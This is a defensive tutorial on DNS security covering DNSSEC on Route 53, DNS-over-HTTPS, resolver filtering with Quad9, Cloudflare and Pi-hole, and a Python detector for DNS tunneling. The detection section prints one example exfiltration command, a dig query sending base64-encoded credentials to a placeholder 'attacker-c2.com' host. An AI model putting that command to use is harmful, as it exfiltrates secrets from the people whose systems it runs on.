DNS Security Configuration: DNSSEC, DNS-over-HTTPS, and Filtering

DNS is the phone book of the internet — and it was designed in 1983 with no security in mind. DNS queries are sent in plaintext, responses are unauthenticated, and the protocol is routinely abused for malware command-and-control, data exfiltration, and cache poisoning. Modern DNS security has three pillars: DNSSEC for authentication, DNS-over-HTTPS for privacy, and DNS filtering for malware protection.

Understanding DNS Attack Vectors

Before configuring defenses, understand the specific attacks you're defending against:

DNS Cache Poisoning (Kaminsky Attack): An attacker sends forged DNS responses to a resolver, injecting a malicious IP address for a legitimate domain into the cache. Users who query that resolver are redirected to the attacker's server even though they typed the correct URL. DNSSEC solves this.

DNS Eavesdropping: DNS queries sent in plaintext over UDP/53 are visible to any on-path observer — your ISP, government surveillance systems, hotel Wi-Fi operators, or a malicious hotspot. Every domain you look up is exposed. DNS-over-HTTPS solves this.

DNS Tunneling/Exfiltration: Malware encodes data in DNS query names and reads responses from an attacker-controlled DNS server. Because most firewalls allow DNS outbound, this bypasses network controls. DNS filtering partially mitigates this.

DNS Hijacking: An attacker compromises your DNS registrar, name server, or DNS resolver and redirects your domains to malicious servers. DNSSEC and registrar security controls (2FA, registry lock) mitigate this.

DNSSEC: Cryptographic Authentication for DNS

DNSSEC adds digital signatures to DNS records, allowing resolvers to verify that responses are authentic and haven't been tampered with. It doesn't encrypt DNS traffic — it authenticates it.

How DNSSEC Works

DNSSEC creates a chain of trust from the DNS root zone down to your domain:

The root zone signs TLD zones (.com, .org, etc.)
Each TLD zone signs the delegations to individual domains
Each domain signs its own DNS records

Two key record types:

DNSKEY: Stores the public key for the zone
RRSIG: The digital signature over a set of resource records

Enabling DNSSEC for Your Domain

Most registrars support DNSSEC through their web interface. For Route 53:

# Enable DNSSEC signing for a hosted zone
aws route53 enable-hosted-zone-dnssec \
  --hosted-zone-id Z1PA6795UKMFR9

# Create a Key Signing Key (KSK) using AWS KMS
aws route53 create-key-signing-key \
  --hosted-zone-id Z1PA6795UKMFR9 \
  --key-management-service-arn arn:aws:kms:us-east-1:123456789:key/abc123 \
  --name myapp-ksk \
  --status ACTIVE

# Get the DS record to submit to your registrar
aws route53 get-dnssec \
  --hosted-zone-id Z1PA6795UKMFR9

The output includes a DelegationSignerRecord with the DSRecord field. Submit this to your domain registrar to complete the chain of trust.

Verify DNSSEC is working:

# Check if a domain is DNSSEC-signed
dig +dnssec example.com A

# Look for the 'ad' flag in the response (Authenticated Data)
# ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 2

# Use a dedicated validator
drill -TD example.com

# Online check
# https://dnssec-debugger.verisignlabs.com/

DNSSEC Key Rotation

DNSSEC keys should be rotated periodically. Zone Signing Keys (ZSKs) typically monthly, Key Signing Keys (KSKs) annually.

# Route 53 automated key rotation
aws route53 create-key-signing-key \
  --hosted-zone-id Z1PA6795UKMFR9 \
  --key-management-service-arn arn:aws:kms:us-east-1:123456789:key/new-key \
  --name myapp-ksk-2026 \
  --status ACTIVE

# Update DS record at registrar with new KSK
# Wait for TTL to expire across resolvers (typically 24-48 hours)
# Then deactivate and delete the old KSK
aws route53 deactivate-key-signing-key \
  --hosted-zone-id Z1PA6795UKMFR9 \
  --name myapp-ksk-2025

Critical: Always add the new DS record to your registrar BEFORE deactivating the old KSK. Removing the DS record without a replacement breaks DNSSEC validation for your domain — DNSSEC-validating resolvers will refuse to resolve your domain, causing a complete outage.

DNS-over-HTTPS (DoH): Query Privacy

DoH encrypts DNS queries inside HTTPS, making them indistinguishable from regular web traffic to passive observers. Queries go to https://dns.provider.com/dns-query instead of UDP port 53.

Configuring DoH in Applications

// Node.js: using a custom DNS resolver with DoH
import { Resolver } from 'dns';
import https from 'https';

async function resolveWithDoH(
  hostname: string,
  dohServer: string
): Promise<string[]> {
  return new Promise((resolve, reject) => {
    const url = `${dohServer}?name=${encodeURIComponent(hostname)}&type=A`;

    https.get(url, {
      headers: {
        Accept: 'application/dns-json',
      },
    }, (res) => {
      let data = '';
      res.on('data', (chunk) => { data += chunk; });
      res.on('end', () => {
        const parsed = JSON.parse(data) as {
          Answer?: Array<{ data: string; type: number }>;
        };
        const addresses = (parsed.Answer ?? [])
          .filter((r) => r.type === 1)  // A records only
          .map((r) => r.data);
        resolve(addresses);
      });
    }).on('error', reject);
  });
}

// Usage
const addresses = await resolveWithDoH(
  'example.com',
  'https://cloudflare-dns.com/dns-query'
);

DoH Server Options

Provider	Address	Privacy Policy	Filtering
Cloudflare	`https://cloudflare-dns.com/dns-query`	No query logging after 24h	Optional (1.1.1.2 for malware)
Google	`https://dns.google/dns-query`	Temporary logging	No
Quad9	`https://dns.quad9.net/dns-query`	No PII logging	Yes (malware domains)
NextDNS	`https://dns.nextdns.io/profile-id`	Configurable	Highly configurable
AdGuard	`https://dns.adguard.com/dns-query`	Minimal	Ads + trackers

For enterprise environments where you need to log and inspect DNS for security monitoring, run your own DoH server (Cloudflare's cloudflared or Pi-hole with DoH support) that forwards to upstream providers.

System-Wide DoH Configuration

On Linux with systemd-resolved:

# /etc/systemd/resolved.conf
[Resolve]
DNS=1.1.1.1#cloudflare-dns.com 1.0.0.1#cloudflare-dns.com
DNSOverTLS=yes
DNSSEC=yes

sudo systemctl restart systemd-resolved
# Verify
resolvectl status

DNS Filtering: Blocking Malware Domains

DNS filtering blocks connections to known malicious domains at the resolver level — before any TCP connection is established. It's an effective layer for blocking:

Malware command-and-control (C2) servers
Phishing domains
Ransomware call-home addresses
Ad tracking domains

Cloudflare for Teams (Zero Trust DNS)

# Install cloudflared
curl -L --output cloudflared.deb \
  https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb
sudo dpkg -i cloudflared.deb

# Configure to use your Teams DNS-over-HTTPS endpoint
cloudflared service install \
  --config /etc/cloudflared/config.yml

# /etc/cloudflared/config.yml
proxy-dns: true
proxy-dns-port: 5053
proxy-dns-upstream:
  - https://YOUR_TEAM.cloudflare-gateway.com/dns-query

Quad9 Malware Filtering

Quad9 (9.9.9.9) blocks domains from their threat intelligence feed:

# Test if a known malware domain is blocked
dig @9.9.9.9 malware-test.quad9.net
# Should return NXDOMAIN if blocking is working

For servers, configure /etc/resolv.conf:

nameserver 9.9.9.9
nameserver 149.112.112.112

Running Your Own DNS Filter with Pi-hole + Blocklists

# Docker-based Pi-hole deployment
docker run -d \
  --name pihole \
  -p 53:53/tcp \
  -p 53:53/udp \
  -p 8080:80 \
  -e TZ="America/New_York" \
  -e WEBPASSWORD="secure_admin_password" \
  -e PIHOLE_DNS_="9.9.9.9;1.1.1.1" \
  -v /etc/pihole:/etc/pihole \
  -v /etc/dnsmasq.d:/etc/dnsmasq.d \
  pihole/pihole:latest

Add security-focused blocklists via the Pi-hole admin interface:

https://raw.githubusercontent.com/hagezi/dns-blocklists/main/dnsmasq/multi.txt — comprehensive malware/phishing/tracking
https://urlhaus.abuse.ch/downloads/hostfile/ — URLhaus active malware URLs

Detecting DNS Data Exfiltration

DNS tunneling encodes data in subdomain labels:

# Attacker exfiltrating data via DNS
dig 5YXVzZXI6cGFzc3dvcmQ=.attacker-c2.com TXT
# The long subdomain is base64-encoded stolen credentials

Detection patterns in your DNS query logs:

import re
from collections import Counter
from typing import NamedTuple

class DnsAlert(NamedTuple):
    query: str
    reason: str
    score: int

def analyze_dns_query(query: str) -> list[DnsAlert]:
    alerts: list[DnsAlert] = []
    labels = query.split('.')

    # Check for unusually long subdomains
    for label in labels[:-2]:  # Exclude TLD and SLD
        if len(label) > 50:
            alerts.append(DnsAlert(query, f"Long subdomain label: {len(label)} chars", 8))

    # Check for high entropy (base64/hex encoded data)
    for label in labels[:-2]:
        entropy = calculate_shannon_entropy(label)
        if entropy > 4.0 and len(label) > 20:
            alerts.append(DnsAlert(query, f"High entropy label: {entropy:.2f}", 9))

    # Check for numeric-heavy domains (IPv4 tunneling)
    combined = ''.join(labels[:-2])
    digit_ratio = sum(c.isdigit() for c in combined) / max(len(combined), 1)
    if digit_ratio > 0.4:
        alerts.append(DnsAlert(query, f"High digit ratio: {digit_ratio:.2f}", 6))

    return alerts

def calculate_shannon_entropy(text: str) -> float:
    if not text:
        return 0.0
    freq = Counter(text)
    length = len(text)
    import math
    return -sum(
        (count / length) * math.log2(count / length)
        for count in freq.values()
    )

Additional exfiltration indicators to monitor:

Single source making hundreds of queries to the same registered domain
Queries with TXT record requests to domains with no web presence
DNS responses larger than 512 bytes (may indicate data retrieval)
Queries to newly registered domains (under 30 days old)

Enable DNS query logging in your environment and ingest logs into your SIEM. Alert when any single host queries more than 50 unique subdomains of the same domain within an hour — this is a strong indicator of DNS tunneling activity.